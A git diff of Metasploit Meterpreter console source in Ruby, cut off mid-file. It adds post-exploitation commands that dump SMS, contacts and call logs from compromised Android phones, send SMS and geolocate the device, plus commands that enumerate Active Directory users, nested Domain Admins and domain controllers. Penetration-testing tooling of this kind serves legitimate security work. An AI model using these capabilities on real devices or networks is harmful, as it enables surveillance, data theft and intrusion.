b/lib/rex/post/meterpreter/ui/console.rb index 3b2519d324..94ba5ceb44 100644 --- a/lib/rex/post/meterpreter/ui/console.rb +++ b/lib/rex/post/meterpreter/ui/console.rb @@ -83,6 +83,7 @@ class Console channel.extend(InteractiveChannel) unless (channel.kind_of?(InteractiveChannel) == true) channel.on_command_proc = self.on_command_proc if self.on_command_proc channel.on_print_proc = self.on_print_proc if self.on_print_proc + channel.on_log_proc = method(:log_output) if self.respond_to?(:log_output, true) channel.interact(input, output) channel.reset_ui diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index a31638bc61..8030c3329c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -1,17 +1,17 @@ # -*- coding: binary -*- require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' +require 'rex/google/geolocation' +require 'date' module Rex module Post module Meterpreter module Ui - ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### - class Console::CommandDispatcher::Android include Console::CommandDispatcher include Msf::Auxiliary::Report @@ -26,33 +26,111 @@ class Console::CommandDispatcher::Android 'geolocate' => 'Get current lat-long using geolocation', 'dump_calllog' => 'Get call log', 'check_root' => 'Check if device is rooted', - 'device_shutdown' => 'Shutdown device' + 'device_shutdown' => 'Shutdown device', + 'send_sms' => 'Sends SMS from target session', + 'wlan_geolocate' => 'Get current lat-long using WLAN information', + 'interval_collect' => 'Manage interval collection capabilities' } reqs = { - 'dump_sms' => [ 'dump_sms' ], - 'dump_contacts' => [ 'dump_contacts' ], - 'geolocate' => [ 'geolocate' ], - 'dump_calllog' => [ 'dump_calllog' ], - 'check_root' => [ 'check_root' ], - 'device_shutdown' => [ 'device_shutdown'] + 'dump_sms' => ['dump_sms'], + 'dump_contacts' => ['dump_contacts'], + 'geolocate' => ['geolocate'], + 'dump_calllog' => ['dump_calllog'], + 'check_root' => ['check_root'], + 'device_shutdown' => ['device_shutdown'], + 'send_sms' => ['send_sms'], + 'wlan_geolocate' => ['wlan_geolocate'], + 'interval_collect' => ['interval_collect'] } # Ensure any requirements of the command are met - all.delete_if do |cmd, desc| - reqs[cmd].any? { |req| not client.commands.include?(req) } + all.delete_if do |cmd, _desc| + reqs[cmd].any? { |req| !client.commands.include?(req) } end end - def cmd_device_shutdown(*args) + def interval_collect_usage + print_line('Usage: interval_collect ') + print_line + print_line('Specifies an action to perform on a collector type.') + print_line + print_line(@@interval_collect_opts.usage) + end + def cmd_interval_collect(*args) + @@interval_collect_opts ||= Rex::Parser::Arguments.new( + '-h' => [false, 'Help Banner'], + '-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"], + '-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"], + '-t' => [true, 'Collect poll timeout period in seconds (default: 30)'] + ) + + opts = { + action: nil, + type: nil, + timeout: 30 + } + + @@interval_collect_opts.parse(args) do |opt, idx, val| + case opt + when '-a' + opts[:action] = val.downcase + when '-c' + opts[:type] = val.downcase + when '-t' + opts[:timeout] = val.to_i + opts[:timeout] = 30 if opts[:timeout] <= 0 + end + end + + unless client.android.collect_actions.include?(opts[:action]) + interval_collect_usage + return + end + + type = args.shift.downcase + + unless client.android.collect_types.include?(opts[:type]) + interval_collect_usage + return + end + + result = client.android.interval_collect(opts) + if result[:headers].length > 0 && result[:entries].length > 0 + header = "Captured #{opts[:type]} data" + + if result[:timestamp] + time = Time.at(result[:timestamp]).to_datetime + header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}" + end + + table = Rex::Ui::Text::Table.new( + 'Header' => header, + 'SortIndex' => 0, + 'Columns' => result[:headers], + 'Indent' => 0 + ) + + result[:entries].each do |e| + table << e + end + + print_line + print_line(table.to_s) + else + print_good('Interval action completed successfully') + end + end + + def cmd_device_shutdown(*args) seconds = 0 device_shutdown_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-t' => [ false, 'Shutdown after n seconds'] ) - device_shutdown_opts.parse(args) { | opt, idx, val | + device_shutdown_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: device_shutdown [options]') @@ -62,26 +140,25 @@ class Console::CommandDispatcher::Android when '-t' seconds = val.to_i end - } + end res = client.android.device_shutdown(seconds) if res - print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}") + print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}") else print_error('Device shutdown failed') end end - - def cmd_dump_sms(*args) + def cmd_dump_sms(*args) path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_sms_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for sms list'] + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for sms list'] ) - dump_sms_opts.parse(args) { | opt, idx, val | + dump_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_sms [options]') @@ -91,19 +168,18 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - smsList = [] - smsList = client.android.dump_sms + sms_list = client.android.dump_sms - if smsList.count > 0 - print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}") + if sms_list.count > 0 + print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}") begin info = client.sys.config.sysinfo data = "" data << "\n=====================\n" - data << "[+] Sms messages dump\n" + data << "[+] SMS messages dump\n" data << "=====================\n\n" time = Time.new @@ -112,8 +188,7 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - smsList.each_with_index { |a, index| - + sms_list.each_with_index do |a, index| data << "##{index.to_i + 1}\n" type = 'Unknown' @@ -147,14 +222,14 @@ class Console::CommandDispatcher::Android data << "Address\t: #{a['address']}\n" data << "Status\t: #{status}\n" data << "Message\t: #{a['body']}\n\n" - } + end ::File.write(path, data) - print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}") + print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}") return true rescue - print_error("Error getting messages: #{$!}") + print_error("Error getting messages: #{$ERROR_INFO}") return false end else @@ -163,18 +238,15 @@ class Console::CommandDispatcher::Android end end - def cmd_dump_contacts(*args) - path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" - dump_contacts_opts = Rex::Parser::Arguments.new( + dump_contacts_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-o' => [ false, 'Output path for contacts list'] - ) - dump_contacts_opts.parse(args) { | opt, idx, val | + dump_contacts_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_contacts [options]') @@ -184,13 +256,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - contactList = [] - contactList = client.android.dump_contacts + contact_list = client.android.dump_contacts - if contactList.count > 0 - print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list") + if contact_list.count > 0 + print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list") begin info = client.sys.config.sysinfo @@ -205,32 +276,28 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - contactList.each_with_index { |c, index| + contact_list.each_with_index do |c, index| data << "##{index.to_i + 1}\n" data << "Name\t: #{c['name']}\n" - if c['number'].count > 0 - (c['number']).each { |n| - data << "Number\t: #{n}\n" - } + c['number'].each do |n| + data << "Number\t: #{n}\n" end - if c['email'].count > 0 - (c['email']).each { |n| - data << "Email\t: #{n}\n" - } + c['email'].each do |n| + data << "Email\t: #{n}\n" end data << "\n" - } - + end + ::File.write(path, data) print_status("Contacts list saved to: #{path}") return true rescue - print_error("Error getting contacts list: #{$!}") + print_error("Error getting contacts list: #{$ERROR_INFO}") return false end else @@ -243,13 +310,11 @@ class Console::CommandDispatcher::Android generate_map = false geolocate_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], '-g' => [ false, 'Generate map using google-maps'] - ) - geolocate_opts.parse(args) { | opt, idx, val | + geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: geolocate [options]') @@ -259,7 +324,7 @@ class Console::CommandDispatcher::Android when '-g' generate_map = true end - } + end geo = client.android.geolocate @@ -278,7 +343,6 @@ class Console::CommandDispatcher::Android end def cmd_dump_calllog(*args) - path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_calllog_opts = Rex::Parser::Arguments.new( @@ -287,7 +351,7 @@ class Console::CommandDispatcher::Android ) - dump_calllog_opts.parse(args) { | opt, idx, val | + dump_calllog_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_calllog [options]') @@ -297,12 +361,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end log = client.android.dump_calllog if log.count > 0 - print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}") + print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}") begin info = client.sys.config.sysinfo @@ -317,23 +381,21 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - log.each_with_index { |a, index| - + log.each_with_index do |a, index| data << "##{index.to_i + 1}\n" - data << "Number\t: #{a['number']}\n" data << "Name\t: #{a['name']}\n" data << "Date\t: #{a['date']}\n" data << "Type\t: #{a['type']}\n" data << "Duration: #{a['duration']}\n\n" - } + end ::File.write(path, data) print_status("Call log saved to #{path}") return true rescue - print_error("Error getting call log: #{$!}") + print_error("Error getting call log: #{$ERROR_INFO}") return false end else @@ -342,14 +404,13 @@ class Console::CommandDispatcher::Android end end - def cmd_check_root(*args) check_root_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - check_root_opts.parse(args) { | opt, idx, val | + check_root_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: check_root [options]') @@ -357,26 +418,123 @@ class Console::CommandDispatcher::Android print_line(check_root_opts.usage) return end - } + end is_rooted = client.android.check_root if is_rooted print_good('Device is rooted') - elsif + else print_status('Device is not rooted') end end + def cmd_send_sms(*args) + send_sms_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Destination number' ], + '-t' => [ true, 'SMS body text' ], + '-dr' => [ false, 'Wait for delivery report' ] + ) + + dest = '' + body = '' + dr = false + + send_sms_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line('Usage: send_sms -d -t ') + print_line('Sends SMS messages to specified number.') + print_line(send_sms_opts.usage) + return + when '-d' + dest = val + when '-t' + body = val + when '-dr' + dr = true + end + end + + if dest.blank? || body.blank? + print_error("You must enter both a destination address -d and the SMS text body -t") + print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') + print_line(send_sms_opts.usage) + return + end + + sent = client.android.send_sms(dest, body, dr) + if dr + if sent[0] == "Transmission successful" + print_good("SMS sent - #{sent[0]}") + else + print_error("SMS send failed - #{sent[0]}") + end + if sent[1] == "Transmission successful" + print_good("SMS delivered - #{sent[1]}") + else + print_error("SMS delivery failed - #{sent[1]}") + end + else + if sent == "Transmission successful" + print_good("SMS sent - #{sent}") + else + print_error("SMS send failed - #{sent}") + end + end + end + + def cmd_wlan_geolocate(*args) + wlan_geolocate_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + wlan_geolocate_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + print_line('Usage: wlan_geolocate') + print_line('Tries to get device geolocation from WLAN information and Google\'s API') + print_line(wlan_geolocate_opts.usage) + return + end + end + + log = client.android.wlan_geolocate + wlan_list = [] + log.each do |x| + mac = x['bssid'] + ssid = x['ssid'] + ss = x['level'] + wlan_list << [mac, ssid, ss.to_s] + end + + if wlan_list.blank? + print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") + return + end + g = Rex::Google::Geolocation.new + + wlan_list.each do |wlan| + g.add_wlan(*wlan) + end + begin + g.fetch! + rescue RuntimeError => e + print_error("Error: #{e}") + else + print_status(g.to_s) + print_status("Google Maps URL: #{g.google_maps_url}") + end + end + # # Name for this dispatcher # def name 'Android' end - -end - +end end end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 5b62d0aa99..9ae6874737 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -28,8 +28,15 @@ class Console::CommandDispatcher::Core self.extensions = [] self.bgjobs = [] self.bgjob_id = 0 + + # keep a lookup table to refer to transports by index + @transport_map = {} end + @@irb_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ], + "-e" => [ true, "Expression to evaluate." ]) + @@load_opts = Rex::Parser::Arguments.new( "-l" => [ false, "List all available extensions" ], "-h" => [ false, "Help menu." ]) @@ -82,7 +89,7 @@ class Console::CommandDispatcher::Core c["migrate"] = "Migrate the server to another process" end - if client.platform =~ /win/ || client.platform =~ /linux/ || client.platform =~ /java/ + if client.platform =~ /win/ || client.platform =~ /linux/ || client.platform =~ /python/ || client.platform =~ /java/ # Yet to implement transport hopping for other meterpreters. c["transport"] = "Change the current transport mechanism" @@ -322,16 +329,40 @@ class Console::CommandDispatcher::Core alias cmd_interact_tabs cmd_close_tabs + def cmd_irb_help + print_line "Usage: irb" + print_line + print_line "Execute commands in a Ruby environment" + print @@irb_opts.usage + end + # # Runs the IRB scripting shell # def cmd_irb(*args) - print_status("Starting IRB shell") - print_status("The 'client' variable holds the meterpreter client\n") + expressions = [] + + # Parse the command options + @@irb_opts.parse(args) do |opt, idx, val| + case opt + when '-e' + expressions << val + when '-h' + return cmd_irb_help + end + end session = client framework = client.framework - Rex::Ui::Text::IrbShell.new(binding).run + + if expressions.empty? + print_status("Starting IRB shell") + print_status("The 'client' variable holds the meterpreter client\n") + + Rex::Ui::Text::IrbShell.new(binding).run + else + expressions.each { |expression| eval(expression, binding) } + end end @@set_timeouts_opts = Rex::Parser::Arguments.new( @@ -543,6 +574,7 @@ class Console::CommandDispatcher::Core '-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ], '-l' => [ true, 'LHOST parameter (for reverse transports)' ], '-p' => [ true, 'LPORT parameter' ], + '-i' => [ true, 'Specify transport by index (currently supported: remove)' ], '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], @@ -573,6 +605,13 @@ class Console::CommandDispatcher::Core print_line(@@transport_opts.usage) end + def update_transport_map + result = client.core.transport_list + @transport_map.clear + sorted_by_url = result[:transports].sort_by { |k| k[:url] } + sorted_by_url.each_with_index { |t, i| @transport_map[i+1] = t } + end + # # Manage transports # @@ -609,12 +648,15 @@ class Console::CommandDispatcher::Core } valid = true + transport_index = 0 @@transport_opts.parse(args) do |opt, idx, val| case opt when '-c' opts[:cert] = val when '-u' opts[:uri] = val + when '-i' + transport_index = val.to_i when '-ph' opts[:proxy_host] = val when '-pp' @@ -657,13 +699,21 @@ class Console::CommandDispatcher::Core return end + update_transport_map + case command when 'list' result = client.core.transport_list + + current_transport_url = result[:transports].first[:url] + + sorted_by_url = result[:transports].sort_by { |k| k[:url] } + # this will output the session timeout first print_timeouts(result) columns =[ + 'ID', 'Curr', 'URL', 'Comms T/O', @@ -681,16 +731,13 @@ class Console::CommandDispatcher::Core # next draw up a table of transport entries tbl = Rex::Ui::Text::Table.new( - 'SortIndex' => -1, # disable any sorting + 'SortIndex' => 0, # sort by ID 'Indent' => 4, 'Columns' => columns) - first = true - result[:transports].each do |t| - entry = [ first ? '*' : '', t[:url], t[:comm_timeout], - t[:retry_total], t[:retry_wait] ] - - first = false + sorted_by_url.each_with_index do |t, i| + entry = [ i+1, (current_transport_url == t[:url]) ? '*' : '', t[:url], + t[:comm_timeout], t[:retry_total], t[:retry_wait] ] if opts[:verbose] entry << t[:ua] @@ -744,6 +791,22 @@ class Console::CommandDispatcher::Core return end + if !transport_index.zero? && @transport_map.has_key?(transport_index) + # validate the URL + url_to_delete = @transport_map[transport_index][:url] + begin + uri = URI.parse(url_to_delete) + opts[:transport] = "reverse_#{uri.scheme}" + opts[:lhost] = uri.host + opts[:lport] = uri.port + opts[:uri] = uri.path[1..-2] if uri.scheme.include?("http") + + rescue URI::InvalidURIError + print_error("Failed to parse URL: #{url_to_delete}") + return + end + end + print_status("Removing transport ...") if client.core.transport_remove(opts) print_good("Successfully removed #{opts[:transport]} transport.") @@ -753,15 +816,21 @@ class Console::CommandDispatcher::Core end end + @@migrate_opts = Rex::Parser::Arguments.new( + '-p' => [true, 'Writable path - Linux only (eg. /tmp).'], + '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'], + '-h' => [false, 'Help menu.'] + ) + def cmd_migrate_help if client.platform =~ /linux/ - print_line "Usage: migrate [writable_path]" + print_line('Usage: migrate [-p writable_path] [-t timeout]') else - print_line "Usage: migrate " + print_line('Usage: migrate [-t timeout]') end print_line - print_line "Migrates the server instance to another process." - print_line "NOTE: Any open channels or other dynamic state will be lost." + print_line('Migrates the server instance to another process.') + print_line('NOTE: Any open channels or other dynamic state will be lost.') print_line end @@ -772,19 +841,29 @@ class Console::CommandDispatcher::Core # platforms a path for the unix domain socket used for IPC. # @return [void] def cmd_migrate(*args) - if ( args.length == 0 or args.include?("-h") ) + if args.length == 0 || args.include?('-h') cmd_migrate_help return true end pid = args[0].to_i - if(pid == 0) - print_error("A process ID must be specified, not a process name") + if pid == 0 + print_error('A process ID must be specified, not a process name') return end - if client.platform =~ /linux/ - writable_dir = (args.length >= 2) ? args[1] : nil + writable_dir = nil + opts = { + timeout: nil + } + + @@transport_opts.parse(args) do |opt, idx, val| + case opt + when '-t' + opts[:timeout] = val.to_i + when '-p' + writable_dir = val + end end begin @@ -806,7 +885,7 @@ class Console::CommandDispatcher::Core service.each_tcp_relay do |lhost, lport, rhost, rport, opts| next unless opts['MeterpreterRelay'] if existing_relays.empty? - print_status("Removing existing TCP relays...") + print_status('Removing existing TCP relays...') end if (service.stop_tcp_relay(lport, lhost)) print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") @@ -827,19 +906,15 @@ class Console::CommandDispatcher::Core server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. - if client.platform =~ /linux/ - client.core.migrate(pid, writable_dir) - else - client.core.migrate(pid) - end + client.core.migrate(pid, writable_dir, opts) - print_status("Migration completed successfully.") + print_status('Migration completed successfully.') # Update session info (we may have a new username) client.update_session_info unless existing_relays.empty? - print_status("Recreating TCP relay(s)...") + print_status('Recreating TCP relay(s)...') existing_relays.each do |r| client.pfservice.start_tcp_relay(r[:lport], r[:opts]) print_status("Local TCP relay recreated: #{r[:opts]['LocalHost'] || '0.0.0.0'}:#{r[:lport]} <-> #{r[:opts]['PeerHost']}:#{r[:opts]['PeerPort']}") diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index dfa41fb5fc..f61e10ed7c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -26,9 +26,12 @@ class Console::CommandDispatcher::Extapi::Adsi # def commands { - "adsi_user_enum" => "Enumerate all users on the specified domain.", - "adsi_computer_enum" => "Enumerate all computers on the specified domain.", - "adsi_domain_query" => "Enumerate all objects on the specified domain that match a filter." + 'adsi_user_enum' => 'Enumerate all users on the specified domain.', + 'adsi_group_enum' => 'Enumerate all groups on the specified domain.', + 'adsi_nested_group_user_enum' => 'Recursively enumerate users who are effectively members of the group specified.', + 'adsi_computer_enum' => 'Enumerate all computers on the specified domain.', + 'adsi_dc_enum' => 'Enumerate all domain controllers on the specified domain.', + 'adsi_domain_query' => 'Enumerate all objects on the specified domain that match a filter.' } end @@ -36,46 +39,127 @@ class Console::CommandDispatcher::Extapi::Adsi # Name for this dispatcher # def name - "Extapi: ADSI Management" + 'Extapi: ADSI Management' + end + + # + # Options for the adsi_nested_group_user_enum command. + # + @@adsi_nested_group_user_enum_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help banner'], + '-o' => [true, 'Path to output file.'], + '-m' => [true, 'Maximum results to return.'], + '-p' => [true, 'Result set page size.'] + ) + + def adsi_nested_group_user_enum_usage + print_line('USAGE:') + print_line(' adsi_nested_group_user_enum [-h] [-m maxresults] [-p pagesize] [-o file]') + print_line + print_line('DESCRIPTION:') + print_line(' Enumerate the users who are members of the named group, taking nested groups into account.') + print_line(' For example, specifying the "Domain Admins" group DN will list all users who are effectively') + print_line(' members of the Domain Admins group, even if they are in practice members of intermediary groups.') + print_line + print_line('EXAMPLE:') + print_line(' The example below will list all members of the "Domain Admins" group on the STUFUS domain:') + print_line(' adsi_nested_group_user_enum STUFUS "CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com"') + print_line(@@adsi_nested_group_user_enum_opts.usage) + end + + # + # Enumerate domain groups. + # + def cmd_adsi_nested_group_user_enum(*args) + args.unshift('-h') if args.length == 0 + if args.include?('-h') || args.length < 2 + adsi_nested_group_user_enum_usage + return true + end + + domain = args.shift + groupdn = args.shift + # This OID (canonical name = LDAP_MATCHING_RULE_IN_CHAIN) will recursively search each 'memberof' parent + # https://support.microsoft.com/en-us/kb/275523 for more information -stufus + filter = "(&(objectClass=user)(memberof:1.2.840.113556.1.4.1941:=#{groupdn}))" + fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment'] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) end # # Options for the adsi_user_enum command. # @@adsi_user_enum_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-m" => [ true, "Maximum results to return." ], - "-p" => [ true, "Result set page size." ] + '-h' => [false, 'Help banner.'], + '-o' => [true, 'Path to output file.'], + '-m' => [true, 'Maximum results to return.'], + '-p' => [true, 'Result set page size.'] ) def adsi_user_enum_usage - print( - "\nUsage: adsi_user_enum [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the users on the target domain.\n\n" + - "Enumeration returns information such as the user name, SAM account name, locked\n" + - "status, desc, and comment.\n" + - @@adsi_user_enum_opts.usage) + print_line('USAGE:') + print_line(' adsi_user_enum [-h] [-m maxresults] [-p pagesize] [-o file]') + print_line + print_line('DESCRIPTION:') + print_line(' Enumerate all users on the target domain.') + print_line(' Enumeration returns information such as the user name, SAM account name, status, comments etc') + print_line(@@adsi_user_enum_opts.usage) end # # Enumerate domain users. # def cmd_adsi_user_enum(*args) - args.unshift("-h") if args.length == 0 - if args.include?("-h") + args.unshift('-h') if args.length == 0 + if args.include?('-h') adsi_user_enum_usage return true end domain = args.shift - filter = "(objectClass=user)" - fields = [ - "samaccountname", - "name", - "distinguishedname", - "description", - "comment" - ] + filter = '(objectClass=user)' + fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment'] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + + # + # Options for the adsi_group_enum command. + # + @@adsi_group_enum_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help banner.'], + '-o' => [true, 'Path to output file.'], + '-m' => [true, 'Maximum results to return.'], + '-p' => [true, 'Result set page size.'] + ) + + def adsi_group_enum_usage + print_line('USAGE:') + print_line(' adsi_nested_group_user_enum [-h] [-m maxresults] [-p pagesize] [-o file]') + print_line + print_line('DESCRIPTION:') + print_line(' Enumerate all groups on the target domain.') + print_line + print_line('EXAMPLE:') + print_line(' The example below will list all groups on the STUFUS domain.') + print_line(' adsi_group_enum STUFUS') + print_line(@@adsi_group_enum_opts.usage) + end + + # + # Enumerate domain groups. + # + def cmd_adsi_group_enum(*args) + args.unshift('-h') if args.length == 0 + if args.include?('-h') + adsi_group_enum_usage + return true + end + + domain = args.shift + filter = '(objectClass=group)' + fields = ['name', 'distinguishedname', 'description',] args = [domain, filter] + fields + args return cmd_adsi_domain_query(*args) end @@ -84,37 +168,74 @@ class Console::CommandDispatcher::Extapi::Adsi # Options for the adsi_computer_enum command. # @@adsi_computer_enum_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-m" => [ true, "Maximum results to return." ], - "-p" => [ true, "Result set page size." ] + '-h' => [false, 'Help banner.'], + '-o' => [true, 'Path to output file.'], + '-m' => [true, 'Maximum results to return.'], + '-p' => [true, 'Result set page size.'] ) def adsi_computer_enum_usage - print( - "\nUsage: adsi_computer_enum [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the computers on the target domain.\n\n" + - "Enumeration returns information such as the computer name, desc, and comment.\n" + - @@adsi_computer_enum_opts.usage) + print_line('USAGE:') + print_line(' adsi_computer_enum [-h] [-m maxresults] [-p pagesize] [-o file]') + print_line + print_line('DESCRIPTION:') + print_line(' Enumerate all computers on the target domain.') + print_line(@@adsi_computer_enum_opts.usage) end # # Enumerate domain computers. # def cmd_adsi_computer_enum(*args) - args.unshift("-h") if args.length == 0 - if args.include?("-h") + args.unshift('-h') if args.length == 0 + if args.include?('-h') adsi_computer_enum_usage return true end domain = args.shift - filter = "(objectClass=computer)" - fields = [ - "name", - "distinguishedname", - "description", - "comment" - ] + filter = '(objectClass=computer)' + fields = ['name', 'dnshostname', 'distinguishedname', 'operatingsystem', + 'operatingsystemversion', 'operatingsystemservicepack', 'description', + 'comment' ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + + # + # Options for the adsi_dc_enum command. + # + @@adsi_dc_enum_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help banner.'], + '-o' => [true, 'Path to output file.'], + '-m' => [true, 'Maximum results to return.'], + '-p' => [true, 'Result set page size.'] + ) + + def adsi_dc_enum_usage + print_line('USAGE:') + print_line(' adsi_dc_enum [-h] [-m maxresults] [-p pagesize] [-o file]') + print_line + print_line('DESCRIPTION:') + print_line(' Enumerate the domain controllers on the target domain.') + print_line(@@adsi_dc_enum_opts.usage) + end + + # + # Enumerate domain dcs. + # + def cmd_adsi_dc_enum(*args) + args.unshift('-h') if args.length == 0 + if args.include?('-h') + adsi_dc_enum_usage + return true + end + + domain = args.shift + # This LDAP filter will pull out domain controllers + filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))' + fields = ['name', 'dnshostname', 'distinguishedname', 'operatingsystem', + 'operatingsystemversion', 'operatingsystemservicepack', 'description', 'comment' ] args = [domain, filter] + fields + args return cmd_adsi_domain_query(*args) end @@ -123,17 +244,19 @@ class Console::CommandDispatcher::Extapi::Adsi # Options for the adsi_domain_query command. # @@adsi_domain_query_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-m" => [ true, "Maximum results to return." ], - "-p" => [ true, "Result set page size." ] + '-h' => [false, 'Help banner.'], + '-o' => [true, 'Path to output file.'], + '-m' => [true, 'Maximum results to return.'], + '-p' => [true, 'Result set page size.'] ) def adsi_domain_query_usage - print( - "\nUsage: adsi_domain_query [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the objects on the target domain.\n\n" + - "Enumeration returns the set of fields that are specified.\n" + - @@adsi_domain_query_opts.usage) + print_line('USAGE:') + print_line(' adsi_domain_query [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize] [-o file]') + print_line + print_line('DESCRIPTION:') + print_line(' Enumerates the objects on the target domain, returning the set of fields that are specified.') + print_line(@@adsi_domain_query_opts.usage) end # @@ -143,22 +266,25 @@ class Console::CommandDispatcher::Extapi::Adsi page_size = DEFAULT_PAGE_SIZE max_results = DEFAULT_MAX_RESULTS - args.unshift("-h") if args.length < 3 + args.unshift('-h') if args.length < 3 + output_file = nil @@adsi_domain_query_opts.parse(args) { |opt, idx, val| case opt - when "-p" + when '-p' page_size = val.to_i - when "-m" + when '-o' + output_file = val + when '-m' max_results = val.to_i - when "-h" + when '-h' adsi_domain_query_usage return true end } # Assume that the flags are passed in at the end. Safe? - switch_index = args.index { |a| a.start_with?("-") } + switch_index = args.index { |a| a.start_with?('-') } if switch_index args = args.first(switch_index) end @@ -181,11 +307,16 @@ class Console::CommandDispatcher::Extapi::Adsi print_line print_line(table.to_s) - print_line("Total objects: #{objects[:results].length}") - print_line + if output_file + ::File.open(output_file, 'w') do |f| + f.write("#{table.to_s}\n") + f.write("\nTotal objects: #{objects[:results].length}\n") + end + end + return true end @@ -210,7 +341,7 @@ protected # for UI level stuff, rendering raw as hex is really the only option values << Rex::Text.to_hex(v[:value], '') when :array - val = "#{to_table_row(v[:value]).join(", ")}" + val = "#{to_table_row(v[:value]).join(', ')}" # we'll truncate the output of the array because it could be excessive if we # don't. Users who want the detail of this stuff should probably script it. @@ -224,7 +355,7 @@ protected when :path values << "Vol: #{v[:volume]}, Path: #{v[:path]}, Type: #{v[:vol_type]}" when :unknown - values << "(unknown)" + values << '(unknown)' end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb index 628df53d87..408a895b7c 100644 --- 